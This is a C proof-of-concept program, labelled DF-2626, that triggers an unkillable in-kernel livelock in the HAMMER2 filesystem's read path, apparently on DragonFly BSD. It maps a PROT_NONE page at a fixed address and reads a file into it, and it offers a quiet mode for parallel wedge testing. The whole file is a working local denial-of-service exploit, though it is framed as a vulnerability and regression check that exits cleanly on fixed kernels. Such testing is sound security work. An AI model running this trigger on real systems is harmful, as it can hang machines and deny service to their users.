/*
 * DF-2626 — hammer2_read_file() livelock PoC (trigger).
 *
 * hammer2_vnops.c:983 discards the return value of uiomovebp().  When the
 * destination user page faults on the FIRST byte, uiomove()
 * (kern/kern_subr.c:148-153) returns EFAULT WITHOUT advancing
 * uio_resid/uio_offset.  The loop condition at hammer2_vnops.c:926
 * (uio->uio_resid > 0 && uio->uio_offset < size) therefore never changes
 * and never re-checks `error` -> infinite in-kernel spin, thread holds the
 * vnode lock SH + ip->truncate_lock SH, never sleeps -> unkillable.
 *
 * We guarantee a fault at byte 0 by mapping the read destination
 * PROT_NONE at a fixed address.
 *
 * Usage:  ./poc [/etc/rc]          (single spinning reader)
 *         ./poc -q                 (quiet: for parallel wedge test)
 * Exit:   0 with "read returned -1 errno=14" -> NOT vulnerable (fixed)
 *         never returns           -> live bug (livelock)
 */
#include <sys/mman.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BADADDR ((void *)0x10000000)

int
main(int argc, char **argv)
{
	const char *path = (argc > 1 && argv[1][0] != '-') ? argv[1] : "/etc/rc";
	int quiet = (argc > 1 && strcmp(argv[1], "-q") == 0);
	void *bad;
	int fd;
	ssize_t r;

	fd = open(path, O_RDONLY);
	if (fd < 0) {
		perror("open");
		return (2);
	}

	bad = mmap(BADADDR, 4096, PROT_NONE,
		   MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
	if (bad != BADADDR) {
		perror("mmap");
		return (2);
	}

	if (!quiet) {
		printf("DF-2626: fd=%d dest=%p (PROT_NONE) len=4096 "
		       "— calling read(), bug = never returns\n",
		       fd, BADADDR);
		fflush(stdout);
	}

	r = read(fd, BADADDR, 4096);	/* live bug: spins forever */

	/* Fixed kernel: copyout faults at byte 0 -> EFAULT immediately */
	if (!quiet)
		printf("DF-2626: read returned %zd errno=%d (%s) — "
		       "bug NOT reproduced\n",
		       r, errno, strerror(errno));
	return ((r == -1 && errno == EFAULT) ? 0 : 1);
}
